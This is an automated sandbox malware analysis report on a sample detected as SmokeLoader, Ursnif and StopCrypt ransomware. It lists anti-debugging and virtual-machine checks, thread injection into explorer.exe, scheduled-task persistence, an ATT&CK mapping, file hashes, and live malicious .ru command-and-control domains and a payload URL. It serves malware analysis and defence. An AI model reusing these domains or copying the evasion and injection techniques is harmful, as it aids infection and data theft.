Source: 3196.exe, 00000005.00000000.450316157.0000000000662000.00000002.00000001.01000000.00000007.sdmp, 3196.exe.1.dr	Binary or memory string: #Glb#Hlb#Ilb#7x#Jlb#Klb#Llb#Mlb#Nlb#S#Olb#Plb#Qlb#Rlb#Slb#Tlb#T#U#nLb#W#X#Y#Z#K1#oLb#2#pLb.ctor#ALb#sb#tb#ub#vb#BLb#CLb#DLb#b2#c2#ELb#FLbParameterInfo#Db.cctorobjectmethodInvokesddddffshdjfffffgjskdgsacsafpsfhjfkfhfjsfhdhffadsfssscfgdbdfjfsffafcfdssfkfhgjBeginInvokeIAsyncResultAsyncCallbackcallbackEndInvokeresultffchkffaffsdssfjjffasfcfgsdfsgkffjjcfssafffdsdgkfffffchkfffdafsssfjjffafsffdcssgkffjjcfsfdsafsdgkffffjsfhdgffffdffdkfgfgjjfsgfdfffffffdhfkffdgjhdssdgfddfkshfffdjgdffgkfhfddjsdfdffhdfhsfjfgfhsddfdffhfjfdfdghfffdfkdgdsfhjdfffgdkddfffkshgfsgssddhdffjkffdfkgdsfsdffgfkdhjfdfhgdfjfgjffgfgjfgjhgdgdfjjkjkjjfgjhgdfjkjytfjkjkjjfgjjfghksfsfsdhjjjhgjkdgfddafdafjfsddffddffdhffkadhdsafdfadfdkfffjfsddfffddfdhffkadhdsaffdadfdkffdsdsdffhfffdfsdhkdfhfsdfdsfhffdddkffsjkkfdfhdhfsddfffgkdhfffssddfgdfjdsdhsdfdfkfgfdhhjhgffhddfkshddffgjfsdssfssssahddhfdfkgjddssssssssssssssdfsssssssffsddhfhkfjjdfhfdfdffdffssdkfjhdfffdfhffsassdkfshhdffhdfsdhdffdfkdfaffdssdfsdfffhhfhhsdfffdsshfffsdfdhfhffdsffsfdshfsdhshhhgfdffsfdfsfhsfdfsfhffffdhsfddsfffhssffdsfhdfffhhfdhssfdffsfjhffssfdffdfdhstartupInfokpcSaffdssdfffhhfhhsdfffdsshfffdhfhffdsffdshfsdhshhhgfdfffdfsfhsfdfsfhfffdhsfddsffhssffdhdfffhhfdhsdffsfjhffsdffdfdhiCreateMemberRefsDelegatestypeIDCreateGetStringDelegateownerType#le#mefsdssffff4gdgdsfsdffsdssfffgdffffffgdsfsdfUnverifiableCodeAttributeSystem.SecurityCompilationRelaxationsAttributeRuntimeCompatibilityAttributeAssemblyFileVersionAttributeSuppressIldasmAttributeCompilerGeneratedAttributeAttributeUsageAttributeAttributeTargetsngk.resources{aac12949-fa12-4497-a592-42d1dcf12d48}KeyNotFoundExceptionIndexOutOfRangeExceptionByteRfc2898DeriveBytesCryptoStreamCryptoStreamModeRijndaelManagedMD5CryptoServiceProviderAssemblyBuilderSystem.Reflection.EmitDefineDynamicModuleModuleBuilderDefineTypeTypeBuilderTypeAttributesGetMethodMethodInfoMethodBaseGetParametersFunc`2System.CoreEnumerableSystem.LinqSelectIEnumerable`1get_ReturnTypeDefinePInvokeMethodMethodBuilderMethodAttributesCallingConventionsCallingConventionCharSetGetMethodImplementationFlagsMethodImplAttributesSetImplementationFlagsCreateTypeDelegateCreateDelegateAppDomainget_CurrentDomainAssemblyNameDefineDynamicAssemblyAssemblyBuilderAccessZeroExceptionInt32get_ParameterTypeResolveTypeHandleMemberInfoget_NameResolveMethodHandleRuntimeMethodHandleGetMethodFromHandleget_IsStaticFieldInfoget_FieldTypeEmptyDynamicMethodGetILGeneratorILGeneratorOpCodesLdarg_0OpCodeEmitLdarg_1Ldarg_2Ldarg_3Ldarg_STailcallCallCallvirtRetSetValueGetFieldsBindingFlagsCharGetModulesModuleget_ModuleHandleget_ModuleGetMethodsLdc_I4get_MetadataTokenSubAddTryGetValue
Source: explorer.exe, 00000001.00000000.355555979.000000000834F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&0000006
Source: explorer.exe, 00000001.00000000.385847732.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000001.00000000.380989996.00000000059F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b
Source: explorer.exe, 00000001.00000000.356179224.0000000008394000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.388700292.000000000CDC8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: _VMware_SATA_CD00#5&
Source: explorer.exe, 00000001.00000000.362750745.000000000856B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: loader_250246_15072022_2203_31102022.exe, 00000006.00000002.586272240.0000000000683000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll(
Source: explorer.exe, 00000001.00000000.385847732.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000000
Source: 3196.exe, 00000005.00000002.458833552.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\]
Source: 3196.exe, 00000005.00000000.450316157.0000000000662000.00000002.00000001.01000000.00000007.sdmp, 3196.exe.1.dr	Binary or memory string: jdfffgdkddfffkshgfs

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\cqu7x.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Roaming\vcivdjd	System information queried: CodeIntegrityInformation

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Code function: 6_2_0040134F LoadLibraryA,GetProcAddress,

Source: C:\Users\user\Desktop\cqu7x.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\vcivdjd	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\3196.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: vcivdjd.1.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: dindunketagestan.ru
Source: C:\Windows\explorer.exe	Domain query: kukaryka.ru

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\cqu7x.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\Desktop\cqu7x.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Users\user\AppData\Roaming\vcivdjd	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Roaming\vcivdjd	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\cqu7x.exe	Thread created: C:\Windows\explorer.exe EIP: 2B21A0C
Source: C:\Users\user\AppData\Roaming\vcivdjd	Thread created: unknown EIP: 2B41A0C

Source: C:\Users\user\AppData\Local\Temp\3196.exe

Process created: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe "C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe"

Source: explorer.exe, 00000001.00000000.333855555.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.400604224.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.376202069.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: EProgram Managerzx
Source: explorer.exe, 00000001.00000000.413325758.000000000834F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.406921361.0000000005C70000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.385911308.000000000834F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.333855555.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.400604224.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.376202069.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.399977921.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.375933327.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.333600571.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progmanath
Source: explorer.exe, 00000001.00000000.333855555.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.400604224.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.376202069.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\3196.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\3196.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\3196.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Code function: NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,CreateThread,QueueUserAPC,CloseHandle,GetLastError,TerminateThread,CloseHandle,SetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Code function: 6_2_004354EC cpuid

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Code function: 6_2_00401A49 GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Code function: 6_2_004012B0 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

Source: C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Code function: 6_2_004354EC RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

Stealing of Sensitive Information

Yara detected Ursnif

Source: Yara match	File source: 6.2.loader_250246_15072022_2203_31102022.exe.d394a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.loader_250246_15072022_2203_31102022.exe.430000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.586624507.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 4.2.vcivdjd.4d0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.cqu7x.exe.520000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vcivdjd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.vcivdjd.4e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.cqu7x.exe.510e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.cqu7x.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.415776182.0000000002381000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.415123167.0000000000520000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.459393089.00000000004E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.471472153.00000000004E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.471974631.0000000000911000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.401881839.0000000002B21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.322194744.0000000000520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Ursnif

Source: Yara match	File source: 6.2.loader_250246_15072022_2203_31102022.exe.d394a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.loader_250246_15072022_2203_31102022.exe.430000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.586624507.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 4.2.vcivdjd.4d0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.cqu7x.exe.520000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vcivdjd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.vcivdjd.4e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.cqu7x.exe.510e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.cqu7x.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.415776182.0000000002381000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.415123167.0000000000520000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.459393089.00000000004E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.471472153.00000000004E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.471974631.0000000000911000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.401881839.0000000002B21000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.322194744.0000000000520000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	13 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	12 Native API	Boot or Logon Initialization Scripts	312 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	13 Software Packing	NTDS	136 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	124 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	421 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	241 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	11 Masquerading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	312 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Hidden Files and Directories	Network Sniffing	1 Remote System Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
cqu7x.exe	92%	ReversingLabs	Win32.Ransomware.StopCrypt
cqu7x.exe	41%	Metadefender		Browse
cqu7x.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	100%	Avira	TR/Crypt.XPACK.Gen7
C:\Users\user\AppData\Roaming\vcivdjd	100%	Avira	TR/AD.GenSHCode.nsnoi
C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3196.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\vcivdjd	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3196.exe	60%	ReversingLabs	Win32.Infostealer.Gozi
C:\Users\user\AppData\Local\Temp\3196.exe	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe	88%	ReversingLabs	Win32.Trojan.Ursnif
C:\Users\user\AppData\Roaming\vcivdjd	92%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Roaming\vcivdjd	41%	Metadefender		Browse

Unpacked PE Files

Source	Detection	Scanner	Label	Download
4.2.vcivdjd.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.cqu7x.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.vcivdjd.4d0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.2.loader_250246_15072022_2203_31102022.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen7	Download File
5.2.3196.exe.2aed320.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.cqu7x.exe.510e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.3.vcivdjd.4e0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.0.loader_250246_15072022_2203_31102022.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen7	Download File
0.3.cqu7x.exe.520000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.vcivdjd.400000.0.unpack	100%	Avira	TR/AD.GenSHCode.nsnoi	Download File
0.0.cqu7x.exe.400000.0.unpack	100%	Avira	TR/AD.GenSHCode.nsnoi	Download File
6.2.loader_250246_15072022_2203_31102022.exe.430000.1.unpack	100%	Avira	HEUR/AGEN.1245293	Download File
5.2.3196.exe.2ae3f04.0.unpack	100%	Avira	TR/Patched.Ren.Gen4	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://kukaryka.ru/iTunesHelper.exe	0%	Avira URL Cloud	safe
http://dindunketagestan.ru/	100%	Avira URL Cloud	malware
http://klenoviycdesss.ru/	100%	Avira URL Cloud	malware
http://goalichkindomik.ru/	100%	Avira URL Cloud	malware
http://pali44unkis9.ru/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
kukaryka.ru	80.76.42.141	true	true	unknown
dindunketagestan.ru	37.140.192.158	true	true	unknown
telemetry.skype.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://dindunketagestan.ru/	true	Avira URL Cloud: malware	unknown
http://goalichkindomik.ru/	true	Avira URL Cloud: malware	unknown
http://kukaryka.ru/iTunesHelper.exe	false	Avira URL Cloud: safe	unknown
http://pali44unkis9.ru/	true	Avira URL Cloud: malware	unknown
http://klenoviycdesss.ru/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000001.00000000.351811387.0000000008260000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.385722347.0000000008260000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.412288858.0000000008260000.00000004.00000001.00020000.00000000.sdmp	false		high
http://telemetry.skype.com/drew/	loader_250246_15072022_2203_31102022.exe, 00000006.00000002.586272240.0000000000683000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
80.76.42.141	kukaryka.ru	Russian Federation		59504	HostingvpsvilleruRU	true
37.140.192.158	dindunketagestan.ru	Russian Federation		197695	AS-REGRU	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	743908
Start date and time:	2022-11-11 12:20:50 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 58s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	cqu7x.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@6/5@3/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 26.3% (good quality ratio 21.1%) Quality average: 61.5% Quality standard deviation: 38.6%
HCA Information:	Successful, ratio: 99% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe, WmiPrvSE.exe
TCP Packets have been reduced to 100
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: cqu7x.exe

Simulations

Behavior and APIs

Time	Type	Description
12:22:52	Task Scheduler	Run new task: Firefox Default Browser Agent FF0B2E03076B2EE3 path: C:\Users\user\AppData\Roaming\vcivdjd

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3196.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\3196.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	318
Entropy (8bit):	5.328221768301982
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2LDY3U21xDzzAbDLIP12MUAvvrs:Q3La/KDLI4MWuPk21xzAbDLI4M6
MD5:	A8617BB66B0F42A0977DF68F1F3EC4D9
SHA1:	62F80555AD6646F99D50D30DF45A31BEFD39B979
SHA-256:	837C3675B523F6544589282CE8AAE12596E28D774EA57B1E451197282457380A
SHA-512:	8FE4A70B4B443D2A1EBA29B7057E939BB51D4664B2E7690ABF1212FE5FE5D1E4703D26D36DEBB33246E44A02AA327F0E7A1FA29DFFB20A9EA875DE8D66515E9F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Temp\3196.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	177152
Entropy (8bit):	6.165264026719155
Encrypted:	false
SSDEEP:	1536:9l1AnQTYGYqo/+sJfMd7FcknnLPSWRGmZkAh7g6PhSv4+v/T3Yh6uD:nwOYGYqo/+sq/Hnz3GmZkAW6P8dv/k
MD5:	969DB79BF21624D4135B30DF17777ABA
SHA1:	FE423D6CAAB77AB2CE702CE1397B214ED8093AB0
SHA-256:	EBB5F9156BCE0A442EA4BC5FF67418204D95323C910592E1C1F00DD3BD2A49B2
SHA-512:	40DA08854410F6817F3975B56C796E54FAE84F50D0B70F46A496A9A695EA5124E9A80000B893618DF789A4138B52A5B526B8C82044F3D90D71123C40982DADAF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 60% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...,ycc.............................&... ...@....@.. ....................... ............@.................................w&..J....@.............................................................................. ............... ..H............text........ ...................... ..`.rsrc.......@......................@..@.reloc..............................@..B.................&......H........?..dK..........$...S...@?.............................................0..........+O8P....8P...+~7...+M+N+O+W+[.0%,.2.+X.-..91.......-..X..~9....(.....,.2..%,...8.....8.....8.....+..+.(....8.....8.....8.....+....0..........+O8P....8P...+~7...+M+N+O+W+[.0%,.2.+X.-..91.......-..X..~9....(.....,.2..%,...8.....8.....8.....+..+.(....8.....8.....8.....+....0..........+O8P....8P...+~7...+M+N+O+W+[.0%,.2.+X.-..91.......-..X..~9....(.....,.2..%,..*.8.....8.....8.....

C:\Users\user\AppData\Local\Temp\loader_250246_15072022_2203_31102022.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\3196.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	37888
Entropy (8bit):	7.523503879141569
Encrypted:	false
SSDEEP:	768:6QLm41fM01vAR8YQIpQCtjiNm9B/HGucKWP2LgEGoD5HCK0TOCLK:6L41fMSvZYQOtjQq+fKW+LgEr5HV6OU
MD5:	F777E421EAB950176F802D8B92A50F7A
SHA1:	487EFF0E06148C4AB7DD7751AF9D0911F287094E
SHA-256:	3175BEC39DAE6E45C0C6F8A32D5B03442C70B2D7FF8E0F08B14AC3C85585D58E
SHA-512:	D76472816984BAA22CCE7B768DF349C9A9CBE676324AA1538B2A64AC8CA364AF362570B1EA80186DECBD4589363D4E1B482D339FB92A0669A4699E9F18E4D550
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
